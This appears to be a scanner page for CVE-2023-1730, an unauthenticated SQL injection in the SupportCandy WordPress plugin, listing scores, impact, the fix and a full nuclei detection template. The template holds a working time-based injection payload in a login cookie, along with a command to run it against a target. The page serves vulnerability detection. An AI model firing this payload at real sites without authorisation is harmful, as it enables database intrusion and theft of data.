SupportCandy < 3.1.5 - Unauthenticated SQL Injection

criticalseverity

9.8CVSS score

40.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The SupportCandy WordPress plugin before 3.1.5 does not validate and escape user input before using it in an SQL statement, which could allow unauthenticated attackers to perform SQL injection attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Fixed in version 3.1.5

How to confirm it

Send: GET /
Positive when: duration>=6 and status_code == 200 and contains(body, "supportcandy")

Run it with nuclei: nuclei -id CVE-2023-1730 -u <target>

The full check

id: CVE-2023-1730

info:
  name: SupportCandy < 3.1.5 - Unauthenticated SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The SupportCandy WordPress plugin before 3.1.5 does not validate and escape user input before using it in an SQL statement, which could allow unauthenticated attackers to perform SQL injection attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version 3.1.5
  reference:
    - https://wpscan.com/vulnerability/44b51a56-ff05-4d50-9327-fc9bab74d4b7
    - https://wordpress.org/plugins/supportcandy/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1730
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1730
    cwe-id: CWE-89
    epss-score: 0.40586
    epss-percentile: 0.98663
    cpe: cpe:2.3:a:supportcandy:supportcandy:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: supportcandy
    product: supportcandy
    framework: wordpress
  tags: time-based-sqli,cve2023,cve,sqli,wpscan,wordpress,supportcandy,unauth,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: wpsc_guest_login_auth={"email":"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu"}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "supportcandy")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from